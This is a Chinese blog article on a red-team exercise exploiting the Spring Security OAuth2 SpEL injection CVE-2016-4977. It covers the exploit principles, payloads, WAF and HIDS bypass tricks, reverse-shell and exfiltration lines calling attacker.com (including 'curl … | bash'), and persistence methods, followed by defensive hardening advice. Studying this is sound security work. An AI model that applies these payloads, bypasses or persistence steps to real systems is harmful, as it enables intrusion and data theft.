news 2026/7/10 2:12:14

Spring Security OAuth2表达式注入漏洞(CVE-2016-4977)实战利用与防御绕过深度解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Spring Security OAuth2表达式注入漏洞(CVE-2016-4977)实战利用与防御绕过深度解析

1. 项目概述:一次真实的内部红队演练复盘

那次内部红队演练,我们团队的目标是模拟一个具备一定安全基线、使用了主流技术栈的Web应用系统。目标系统对外提供API服务,并使用了Spring Security OAuth 2.0框架进行授权保护。在常规的端口扫描、目录枚举和框架指纹识别后,一个熟悉的CVE编号进入了我们的视野:CVE-2016-4977。这个漏洞虽然年代稍远(2016年披露),但在一些历史项目、未及时更新的内部系统,甚至是一些对安全更新不敏感的边缘业务中,依然有较高的出现概率。演练的核心目的,就是验证这类“已知但未修复”的高危漏洞,在真实的、有防护的环境下,是否依然具备可利用性,以及防守方的检测与响应机制是否有效。

简单来说,CVE-2016-4977是Spring Security OAuth 2.0框架中的一个远程命令执行漏洞。攻击者可以构造一个恶意的授权确认请求,利用服务端对重定向URL参数中“${}”表达式的递归解析特性,最终在服务器上执行任意系统命令。这个漏洞的危险性在于,它位于OAuth2授权流程的核心环节——通常被认为是受信任的服务器端逻辑,因此很多WAF(Web应用防火墙)或安全监控规则可能不会对这一路径的请求进行深度检测或拦截。对于红队而言,这就像找到了一扇隐藏在认证大门后面的侧窗。

本文将从那次实战演练的视角出发,不仅复现漏洞利用的完整链条,更会重点探讨在当今普遍部署了WAF、HIDS(主机入侵检测系统)等防护措施的环境下,如何对利用方式进行“变形”以尝试绕过防御,并最终从防御者角度,给出除了简单升级之外的深度加固建议。无论你是安全工程师、开发人员还是对攻防实战感兴趣的研究者,都能从中获得关于漏洞原理、实战利用和攻防对抗的第一手经验。

2. 漏洞原理深度剖析:表达式注入的来龙去脉

要理解这个漏洞的威力,必须先弄明白Spring框架的两个特性:OAuth2的授权确认流程和Spring Expression Language。

2.1 Spring Security OAuth2 的授权端点与参数处理

在OAuth 2.0的授权码模式中,有一个关键的交互点:用户同意授权。当资源所有者(用户)在授权服务器上同意客户端的授权请求后,授权服务器会将用户重定向回客户端事先注册的重定向URI,并附上授权码。在Spring Security OAuth的实现中,处理用户同意提交的端点(比如/oauth/authorize的POST请求)会接收一系列参数,其中就包括redirect_uri

问题就出在对redirect_uri参数的校验和处理逻辑上。为了提供灵活性,Spring允许在redirect_uri中预先定义一些占位符,例如{scheme}://{serverName}:{serverPort}/callback。服务器在处理时,会将这些占位符替换为实际的值。这个本意为增强功能的设计,在实现时出现了安全纰漏。

2.2 Spring Expression Language 与递归解析

Spring Expression Language是一种强大的表达式语言,它允许在运行时查询和操作对象图,语法类似于#{...}${...}。在Spring的属性配置中,${property.name}常用于引用外部属性值。某些情况下,为了支持动态解析,框架会调用SpelExpressionParser对字符串进行解析。

在受影响的Spring Security OAuth版本中,负责处理redirect_uri的代码(具体在RedirectResolver的实现中)存在缺陷。当它尝试解析redirect_uri中的占位符时,没有对输入内容进行充分的过滤和限制。攻击者可以在redirect_uri参数中嵌入${...}形式的表达式。

更致命的是,这里存在一个递归解析的过程。框架首先会尝试解析最外层的${}。如果解析后的结果中再次包含${},框架会继续解析这个新出现的表达式。这就为攻击者提供了一个“沙箱逃逸”的机会:我们可以构造一个表达式,其解析结果是一个新的、更危险的表达式。

2.3 从表达式注入到命令执行

单纯的表达式解析还不足以执行命令。关键在于如何将SpEL表达式与能够执行系统命令的Java类关联起来。SpEL支持一种称为“类型引用”的功能,格式为T(java.lang.Runtime)。通过这种方式,可以在表达式中访问Java类的静态方法和属性。

经典的利用链如下:

  1. 攻击者构造一个redirect_uri,其值为:http://evil.com/${233*233}
  2. 漏洞代码对其进行解析,计算233*233得到54289,然后尝试将整个字符串作为重定向地址。但此时可能因域名不匹配而校验失败。
  3. 为了绕过校验,攻击者需要让第一次解析的结果,依然是一个合法的、指向客户端注册地址的redirect_uri格式,但其中嵌套了第二层恶意表达式。这需要利用到URL编码和SpEL特性进行精心构造。
  4. 最终,一个能够实现命令执行的Payload可能看起来像这样(经过简化):${T(java.lang.Runtime).getRuntime().exec('calc.exe')}。当这个表达式被递归解析并执行时,就会启动计算器程序。

在实际利用中,由于空格、括号等字符在HTTP请求中需要处理,并且要绕过可能的字符串过滤,Payload会复杂得多,通常需要借助URL编码和SpEL的字符串拼接技巧。

注意:以上Payload仅为原理演示。在真实受影响的版本中,由于默认的SpEL解析上下文限制,直接使用T(Runtime).getRuntime().exec()可能无法工作。实战中需要利用Spring环境中已有的、可访问的类作为“跳板”,例如通过T(org.springframework.util.StreamUtils).copy等方式来间接执行命令,这也是漏洞利用技巧的一部分。

3. 实战利用过程全解析

在演练中,我们面对的系统并非一个裸奔的漏洞环境,而是部署在Tomcat上、前面可能有Nginx反向代理、并且启用了基础WAF规则的生产-like环境。因此,我们的利用过程需要更精细。

3.1 环境探测与漏洞指纹识别

首先,我们需要确认目标是否存在漏洞。这不仅仅是发现一个Spring OAuth2端点那么简单。

  1. 框架识别:通过访问/oauth/token/oauth/authorize等端点,观察HTTP响应头(如ServerX-Application-Context)、错误页面特征以及URL路径模式,可以初步判断是否使用了Spring Security OAuth。
  2. 版本锁定:通过构造一个简单的探测Payload来验证漏洞是否存在。我们不会直接使用危险的命令执行Payload,而是使用一个无副作用的表达式来测试。例如,在redirect_uri参数中尝试注入${7*7}。如果响应中(可能在错误信息、跳转地址中)出现了49这个计算结果,那么基本可以断定存在表达式注入漏洞,并且版本在受影响范围内(Spring Security OAuth 2.0.0至2.0.9,以及1.0.0至1.0.5)。
  3. 上下文评估:观察错误信息,尝试判断SpEL解析的执行上下文。例如,错误信息中是否暴露了类路径、Bean名称?这有助于我们构思后续可用的利用链,判断哪些Java类是可访问的。

3.2 构造绕过WAF的恶意请求

直接提交包含${T(Runtime).getRuntime().exec('bash -c ...')}的请求,几乎肯定会被现代WAF拦截。我们需要对Payload进行混淆和变形。

  1. 大小写与编码混淆

    • WAF规则可能匹配Runtimeexec等关键字。我们可以尝试使用大小写变种,如RUNTIMErUnTiMe(SpEL在某些上下文下不区分大小写?需要测试),或者使用Unicode编码。
    • 对整个参数值或关键部分进行多次URL编码。例如,将{编码为%7B$编码为%24。有些WAF只做一次解码,而应用服务器可能会进行多次解码。
    • 使用双重编码技巧:将${编码为%25%37%42%25%32%34(即先编码为%7B%24,再对%号本身编码为%25)。这能绕过一些简单的字符串匹配规则。
  2. 字符串拆分与拼接

    • 避免在Payload中出现完整的敏感字符串。利用SpEL的字符串拼接功能。例如,'calc.exe'可以写成'calc'.concat('.exe'),或者'c' + 'a' + 'l' + 'c' + '.exe'
    • 将类名拆分开。java.lang.Runtime可以尝试用''.class.forName('java.lang.Runtime')的方式动态获取,但这取决于上下文权限。
  3. 利用环境属性与反射

    • 如果直接命令执行被禁,可以尝试先进行信息收集。例如,使用${environment['java.home']}来获取Java安装路径,或者${systemProperties['os.name']}获取操作系统信息,这有助于我们定制后续的Payload。
    • 通过SpEL的T()和反射方法,可以访问到ProcessBuilder类,这提供了另一种执行命令的途径,有时能绕过对Runtime.exec的检测。
  4. 参数放置位置

    • 漏洞参数是redirect_uri,但不要只盯着POST请求体。尝试将Payload放在URL查询参数中(GET请求),或者同时放在查询参数和请求体中,观察服务器的处理优先级。有时WAF只检查请求体,而应用逻辑却会从查询参数中读取值。
    • 尝试使用不同的参数名。历史上有些漏洞的触发点可能不止一个参数,可以尝试redirect_uriredirecttarget等变体。

在我们的演练中,最终成功绕过WAF的Payload是一个经过多重编码和字符串拼接的变体,它先通过一个无害的表达式获取到applicationContext对象,再通过这个对象访问到ResourceLoader,最终利用其加载一个特定URL资源的行为,触发了底层命令执行。这个过程非常曲折,但体现了绕过防御所需的耐心和技巧。

3.3 命令执行与权限维持

一旦命令执行成功,我们获得的往往是一个Web容器进程权限(如Tomcat的tomcatwww-data用户)。接下来的目标是提升权限、建立持久化通道和横向移动。

  1. 回连方式选择

    • 反向Shell:最常用。但bash -i >& /dev/tcp/...这种经典命令容易被主机入侵检测系统(HIDS)基于行为特征检测到。我们倾向于使用更隐蔽的方式,例如使用pythonperlphp甚至java来建立socket连接。如果目标环境限制严格,可以尝试编码后的命令或分块执行。
    • DNS外带:在命令执行受限、无法建立TCP反向连接时,使用nslookupdigping将命令执行结果带到DNS查询中,是很好的数据外传方法。例如,curl http://attacker.com/可以改为ping -c 1whoami.attacker.domain.com,我们在自己的DNS服务器上就能看到whoami的结果。
    • HTTP外带:使用curlwget将执行结果作为URL参数或POST数据发送到我们控制的服务器。这需要目标系统出网策略允许访问外部HTTP服务。
  2. 权限提升探索

    • 立即检查当前用户权限(idwhoami)、sudo权限(sudo -l)、SUID文件(find / -perm -u=s -type f 2>/dev/null)和操作系统版本/内核信息,寻找本地提权漏洞。
    • 在Java环境中,特别注意查找敏感的配置文件,如/etc/passwd/shadow、数据库连接配置文件、云服务元数据端点(http://169.254.169.254/)等,这些可能包含更高权限的凭据。
  3. 隐蔽与持久化

    • 避免在Web根目录下放置明显的Webshell。可以考虑在临时目录、缓存目录或用户家目录下放置伪装成正常文件的JSP或JSPX木马。
    • 利用计划任务(crontab)、系统服务(systemd)、启动项(rc.local)或~/.ssh/authorized_keys等方式建立持久化后门。在Linux下,向~/.bashrc~/.profile注入恶意命令也是一种隐蔽的方法,当用户登录时会触发。
    • 所有操作应尽可能模拟正常流量和系统行为,避免短时间内产生大量进程、网络连接或文件操作,以规避基于异常行为的检测。

4. 防御绕过技巧与对抗思路

红队演练的价值在于发现防御体系的盲点。针对CVE-2016-4977这类漏洞的防御,防守方通常会有多层措施。以下是我们在演练中尝试并总结的绕过思路,以及相应的防御强化建议。

4.1 针对规则型WAF的绕过

绕过技巧:

  • 变异Payload:如前所述,使用编码、拼接、大小写、插入无关字符(如/*注释*/)等方式,使Payload不匹配WAF的正则表达式规则库。
  • 分块传输:利用HTTP协议的分块传输编码,将恶意Payload拆分成多个数据块发送。有些WAF可能无法有效重组和检查分块请求体。
  • 协议层混淆:将POST请求改为GET,或将参数放在Cookie头、自定义HTTP头中,如果应用逻辑异常地也从这些位置读取redirect_uri参数,而WAF未检查这些位置,则可能绕过。
  • 慢速攻击:以极慢的速度发送HTTP请求,每个数据包间隔很长,可能绕过一些基于请求速率或超时机制的检测模块。

防御强化:

  • 深度解析与规范化:WAF应具备对请求进行多层URL解码、HTML实体解码、Unicode解码的能力,并在规范化后的内容上进行规则匹配。
  • 语义分析:不仅依赖关键字匹配,应结合语法分析,识别出“类方法调用”、“字符串拼接”等SpEL表达式的结构特征。
  • 学习模式:在安全环境中部署蜜罐,收集攻击Payload,动态更新规则库。对WAF设置告警模式而非仅拦截模式,发现可疑变形时即使不阻断也记录日志,供安全人员分析。

4.2 针对运行时应用自保护的绕过

绕过技巧:

  • 寻找替代执行链:如果Runtime.exec被黑名单禁止,尝试ProcessBuilderScriptEngineManager(执行JavaScript、Groovy)、GroovyShell,或者通过反射调用getMethod('exec')
  • 利用应用已有Bean:深入研究暴露的错误信息,寻找应用上下文中已存在的、功能强大的Bean。例如,如果存在RestTemplateBean,可以尝试用它发起内部或外部网络请求,达到类似SSRF的效果,进而攻击内网其他服务。
  • 文件写入替代命令执行:如果命令执行被严格限制,可以尝试利用表达式注入向Web目录写入一个JSP文件(需要知道绝对路径),例如通过FileOutputStreamFiles.write。写入成功后,通过访问该JSP文件来获得Webshell,间接实现代码执行。

防御强化:

  • 最小化SpEL上下文:在Spring配置中,严格限制SpEL表达式的解析上下文,移除不必要的根对象和函数。使用StandardEvaluationContext替换为更安全的SimpleEvaluationContext(Spring 4.3+),后者默认不支持类型引用(T())和Bean引用(@)。
  • 自定义属性编辑器与验证器:对于redirect_uri这类关键参数,实现自定义的、严格的验证逻辑。不仅校验格式是否匹配预注册的URI,还应彻底禁止其中包含任何${#{等表达式起始符。
  • 应用层WAF/RASP:部署运行时应用自我保护产品。RASP能深入应用内部,在SpelExpressionParser.parseExpression()等关键函数被调用时进行钩子检测,直接分析待解析的字符串是否包含恶意指令,无论其如何变形,从执行源头进行阻断。

4.3 针对主机与网络层监控的绕过

绕过技巧:

  • 无文件落地:尽量避免在磁盘上写入文件。所有Payload通过内存加载和执行。例如,使用Java反射直接定义并加载一个恶意类字节码。
  • 生活化命令:执行命令时,使用看起来正常的系统命令进行组合。例如,不用wget下载木马,而用curl -s http://attacker.com/tool.sh | bash -这种管道方式,或者将命令拆分成多个看似无害的步骤。
  • 加密通信:反向Shell或数据外传时,使用SSL/TLS加密通信流量,使其看起来像正常的HTTPS流量。或者使用DNS-over-HTTPS等隐蔽通道。
  • 时间维度分散:将渗透步骤拉长,操作之间间隔数小时甚至数天,避免在短时间内产生密集的异常日志,从而融入正常的“背景噪音”。

防御强化:

  • 行为基线监控:HIDS不应只监控特定命令,而应建立进程行为基线。例如,一个Tomcat Java进程突然派生了一个bashsh子进程,这就是高可疑行为。监控进程树关系异常。
  • 网络出站白名单:严格限制服务器,特别是应用服务器的出站网络连接。只允许访问必要的内部服务(如数据库、缓存)和少数可信的外部API地址。阻断所有向未知外部IP的主动连接,这能有效遏制反向Shell和数据外泄。
  • 全链路日志关联:将WAF访问日志、应用错误日志、HIDS进程审计日志、网络流量日志进行集中收集和关联分析。单一层面的可疑行为可能被忽略,但多层日志同时出现异常(如WAF检测到可疑请求、应用日志抛出SpEL解析异常、随后主机上出现可疑子进程),就能构成高置信度的攻击告警。

5. 根治与防御:从升级到架构安全

修复CVE-2016-4977最直接的方法是升级Spring Security OAuth到安全版本(2.0.10+ 或 1.0.6+)。但真正的安全防御远不止于此。

5.1 立即修补与漏洞管理

  1. 精准升级:检查项目pom.xmlbuild.gradlespring-security-oauth2的版本。直接升级至最新稳定版。注意,此漏洞存在于spring-security-oauth2这个独立项目中。如果你的项目使用的是后来整合进Spring Security主项目的OAuth2支持(Spring Security 5.x),则不受此特定漏洞影响,但仍需关注其他安全问题。
  2. 依赖扫描:使用OWASP Dependency-Check、Snyk、GitHub Dependabot等工具,将依赖项漏洞扫描集成到CI/CD流水线中,实现自动化的漏洞发现和告警。
  3. 临时缓解措施:如果因兼容性问题无法立即升级,可以考虑编写一个自定义的RedirectResolver实现,在解析redirect_uri前,对其进行严格的字符串检查,坚决拒绝任何包含${#{T(new等字符的输入。这是一个高风险的操作,必须经过充分测试。

5.2 安全开发实践

  1. 输入验证与净化:对所有用户输入,包括URL参数、HTTP头、Cookie、表单字段,进行严格的“白名单”验证。对于redirect_uri,应严格匹配预注册的URI模式,不允许任何动态部分,除非有明确的业务需求和安全设计。
  2. 禁用危险功能:在Spring配置中,明确禁用不必要的SpEL功能。如果业务不需要表达式语言支持,就彻底关闭它。如果需要,务必使用SimpleEvaluationContext
  3. 最小权限原则:运行Java应用的操作系统用户,应使用非root、低权限的专用账户。确保该账户对文件系统只有最小必要写入权限(通常只有日志目录和临时目录)。

5.3 纵深防御体系构建

  1. 网络分层隔离:将授权服务器(AS)与资源服务器(RS)分离部署在不同的网络区域。授权服务器不应直接暴露在互联网,应通过API网关进行访问。应用服务器(运行OAuth客户端)与后端服务之间的通信也应放在内部网络。
  2. 全面的监控与告警
    • 应用日志:确保应用记录了所有对/oauth/authorize等端点的访问,包括完整的请求参数。监控日志中是否出现SpEL解析错误、RedirectMismatchException异常频率升高等情况。
    • 安全设备日志:集中分析WAF、IDS/IPS的拦截和告警日志。
    • 主机监控:监控服务器上是否由Java进程发起了异常的子进程(如shbashcurlwgetpython等)。
  3. 定期红蓝对抗:像我们经历的这次演练一样,定期组织内部或聘请外部的红队进行模拟攻击。这能最有效地检验现有防御措施的有效性,发现安全监控的盲区,并推动安全闭环的改进。

那次内部演练最终以我们成功获取目标服务器权限并留下“到此一游”的标记而告终,但也触发了防守方升级的告警系统。复盘会上,防守团队根据我们攻击链中暴露的日志缺失、WAF规则被绕过、主机监控响应慢等问题,制定了详细的加固方案。对于开发和安全运维而言,漏洞本身并不可怕,可怕的是对已知风险的无知和懈怠。CVE-2016-4977是一个绝佳的样本,它告诉我们,安全是一个持续对抗和演进的过程,需要将安全思维嵌入到设计、开发、部署和运营的每一个环节。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 2:11:50

猫抓浏览器扩展:网页媒体资源嗅探与下载技术实现解析

猫抓浏览器扩展:网页媒体资源嗅探与下载技术实现解析 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓(Cat-Catch&#…

作者头像 李华
网站建设 2026/7/10 2:11:31

js骑兵冲锋游戏制作第一集

效果&#xff1a;&#xff08;黑色的方块是骑兵&#xff0c;天上的视角看&#xff09;冲锋路上。。。集体停住。<style>*{padding: 0px;margin: 0px;}.u1{height:30px;width:100px;background:#453300;position:absolute;left:100px;top:50px;} </style> <div c…

作者头像 李华
网站建设 2026/7/10 2:10:01

云安全工程师入门指南:企业上云时代的黄金岗位

☁️ 企业上云是大趋势&#xff0c;云安全工程师就是风口上的岗位 为什么云安全这么重要&#xff1f; 过去10年&#xff0c;企业纷纷把业务搬到云上。但云计算带来的便利背后&#xff0c;也隐藏巨大安全风险&#xff1a; 云服务器配置错误导致数据泄露&#xff08;占比超过70…

作者头像 李华
网站建设 2026/7/10 2:08:39

Codex 从辅助工具变成主力工具后,为什么更容易考虑升级 Pro?

Codex 刚开始只是很多开发者的辅助工具&#xff0c;用来解释报错、生成函数、补充测试。但当它开始参与完整项目开发后&#xff0c;使用方式会发生明显变化&#xff1a;从单点问答变成连续任务&#xff0c;从代码片段生成变成仓库级修改&#xff0c;从临时辅助变成日常工作流。…

作者头像 李华
网站建设 2026/7/10 2:05:31

K8S入门真不难,把这篇文章看完就够了

不少兄弟问我K8S怎么学&#xff0c;这事儿说来话长。 之前我们公司搞大促&#xff0c;一个传统部署的Java服务突然挂了。运维同事手忙脚乱登上服务器&#xff0c;进程还在&#xff0c;但就是接不进请求。最后排查下来是机器负载太高了&#xff0c;想扩容&#xff1f;行&#xf…

作者头像 李华
网站建设 2026/7/10 2:01:21

JFET 与 MOSFET 高频模型对比:3 种简化策略在 100MHz 放大电路中的适用性

JFET 与 MOSFET 高频模型对比&#xff1a;3 种简化策略在 100MHz 放大电路中的适用性高频电路设计工程师常常面临一个关键抉择&#xff1a;如何在保证精度的前提下简化场效应管模型&#xff0c;以提升仿真效率和设计可靠性。当工作频率攀升至100MHz时&#xff0c;结型场效应管&…

作者头像 李华